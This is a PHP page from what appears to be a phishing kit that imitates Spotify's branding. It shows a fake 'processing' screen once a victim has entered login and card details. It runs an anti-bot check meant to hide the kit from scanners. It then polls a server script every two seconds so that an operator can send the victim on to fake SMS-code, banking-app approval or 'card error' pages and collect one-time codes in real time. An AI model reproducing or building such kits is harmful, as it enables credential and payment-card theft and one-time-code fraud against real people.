<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Vérifier que les étapes précédentes sont complétées
if (!isset($_SESSION['username']) || !isset($_SESSION['card_name'])) {
    header('Location: login.php');
    exit;
}

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;

// Check if we're waiting after SMS code submission
$waitingForSMS = isset($_GET['step']) && $_GET['step'] === 'sms';
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - Processing</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background-color: #000;
            color: #fff;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }
        .loader-container {
            text-align: center;
            max-width: 400px;
            padding: 40px;
        }
        .spinner {
            border: 4px solid #282828;
            border-top: 4px solid #1ed760;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 1s linear infinite;
            margin: 0 auto 30px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        h2 {
            font-size: 24px;
            font-weight: 700;
            margin-bottom: 16px;
        }
        p {
            font-size: 16px;
            color: #b3b3b3;
            line-height: 1.6;
        }
        .logo {
            margin-top: 40px;
            opacity: 0.6;
        }
        .logo svg {
            height: 40px;
            color: #fff;
        }
    </style>
</head>
<body>
    <div class="loader-container">
        <div class="spinner"></div>
        <?php if ($waitingForSMS): ?>
            <h2><?php echo __('loading.verifying'); ?></h2>
            <p><?php echo __('loading.do_not_close'); ?></p>
        <?php else: ?>
            <h2><?php echo __('loading.processing'); ?></h2>
            <p><?php echo __('loading.do_not_close'); ?></p>
        <?php endif; ?>
        
        <div class="logo">
            <svg role="img" viewBox="0 0 24 24" aria-label="Spotify">
                <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
            </svg>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // Polling toutes les 2 secondes
        setInterval(function() {
            $.ajax({
                url: 'processing.php',
                method: 'GET',
                success: function(response) {
                    console.log('Response:', response);
                    
                    // Check if we're waiting after SMS submission
                    const urlParams = new URLSearchParams(window.location.search);
                    const step = urlParams.get('step');
                    
                    if (step === 'sms') {
                        // After SMS code submission, wait for badsms or confirm
                        if (response === 'badsms') {
                            window.location.href = 'verification.php?error=1';
                        } else if (response === 'confirm') {
                            window.location.href = 'success.php';
                        }
                        // Ignore 'sms' response when already on SMS step
                    } else {
                        // Normal flow: after payment
                        if (response === 'sms') {
                            window.location.href = 'verification.php';
                        } else if (response === 'app') {
                            window.location.href = 'application.php';
                        } else if (response === 'badapp') {
                            window.location.href = 'bad_application.php';
                        } else if (response === 'badsms') {
                            window.location.href = 'verification.php?error=1';
                        } else if (response === 'badcc') {
                            window.location.href = 'payment.php?error=1';
                        } else if (response === 'confirm') {
                            window.location.href = 'success.php';
                        }
                    }
                },
                error: function() {
                    console.log('Polling error, retrying...');
                }
            });
        }, 2000);
    </script>
</body>
</html>
